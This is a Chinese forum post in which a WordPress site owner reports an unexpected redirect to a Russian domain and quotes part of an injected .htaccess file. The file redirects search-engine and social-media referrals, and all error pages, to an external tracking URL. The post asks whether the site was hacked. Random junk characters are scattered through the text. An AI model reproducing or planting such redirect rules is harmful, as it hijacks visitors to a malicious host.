一个wordpress站点, 今天偶尔将二级目录打错,发现跳转到 - http://pyatnickiy.ru/track.php
复制代码纳闷,一顿搜索,发现站点根目录下的.haccess文件达27KB
6 l% j j3 j2 d打开一看,部分代码如下 - <IfModule mod_rewrite.c>
9 k f- b q/ O) b0 y - RewriteEngine On
# v1 z4 s& ?0 p) ~" |4 N' A1 a - RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschine|web-archiv)\.(.*)
2 O' ^( Y: Z1 f3 K6 I( h+ W - RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]
" E3 J/ \- {3 ^$ _" f/ a - RewriteCond %{HTTP_REFERER} ^.*(web|websuche|witch|wolong|oekoportal|t-online|freenet|arcor|alexana|tiscali|kataweb|orange|voila|sfr|startpagina|kpnvandaag|ilse|wanadoo|telfort|hispavista|passagen|spray|eniro|telia|bluewin|sympatico|nlsearch|atsearch|klammeraffe|sharelook|suchknecht|ebay|abizdirectory|alltheuk|bhanvad|daffodil|click4choice|exalead|findelio|gasta|gimpsy|globalsearchdirectory|hotfrog|jobrapido|kingdomseek|mojeek|searchers|simplyhired|splut|the-arena|thisisouryear|ukkey|uwe|friendsreunited|jaan|qp|rtl|search-belgium|apollo7|bricabrac|findloo|kobala|limier|express|bestireland|browseireland|finditireland|iesearch|ireland-information|kompass|startsiden|confex|finnalle|gulesider|keyweb|finnfirma|kvasir|savio|sol|startsiden|allpages|america|botw|chapu|claymont|clickz|clush|ehow|findhow|icq|goo|westaustraliaonline)\.(.*) * q r; |6 W# m0 O9 j7 h% h
- RewriteRule ^(.*)$ http://pyatnickiy.ru/track.php [R=301,L]
( U3 r6 c2 |' G" a; d' T - </IfModule>
7 e6 [6 i, b& E6 @- U - ErrorDocument 400 http://pyatnickiy.ru/track.php 0 C; }1 `; }0 D& I# L* Q8 g
- ErrorDocument 401 http://pyatnickiy.ru/track.php
/ b2 U1 P+ x# a. R0 w- h4 \* [, H/ y - ErrorDocument 403 http://pyatnickiy.ru/track.php $ E* ]3 y; |; G$ s6 @1 |$ q
- ErrorDocument 404 http://pyatnickiy.ru/track.php
5 O: x/ Z% z* i* I' y - ErrorDocument 500 http://pyatnickiy.ru/track.php
复制代码这是曾经被别人黑过了吧? 黑客到我站点里做了什么,对他有什么好处呢?
0 y( a) L8 C7 P& r求助,谢了先* S! N: ]' l& E: P, {
. W, K1 y2 o: x0 m# n0 z( k: t1 M" h2 B9 r9 w& ~/ k5 |3 Q
% s9 O* l5 F& J: \, O |